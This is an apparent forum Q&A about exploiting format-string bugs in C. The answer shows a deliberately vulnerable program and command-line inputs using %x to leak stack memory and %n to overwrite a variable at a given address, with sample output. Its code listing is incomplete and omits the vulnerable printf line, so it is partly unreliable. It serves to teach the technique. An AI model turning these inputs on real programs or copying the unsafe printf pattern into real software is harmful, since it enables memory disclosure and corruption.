Atul Goyal Atul Goyal - 1 year ago 80
C Question

How can a Format-String vulnerability be exploited?

I was reading about vulnerabilities in code and came across this Format-String Vulnerability.

Wikipedia says:

Format string bugs most commonly appear when a programmer wishes to
print a string containing user supplied data. The programmer may
mistakenly write printf(buffer) instead of printf("%s", buffer). The
first version interprets buffer as a format string, and parses any
formatting instructions it may contain. The second version simply
prints a string to the screen, as the programmer intended.

I got the problem with printf(buffer) version, but I still didn't get how this vulnerability can be used by attacker to execute harmful code. Can someone please tell me how this vulnerability can be exploited by an example?

Answer Source

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:

Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
This is how not to print:
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
This is how not to print:
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
This is how not to print:
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.

Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

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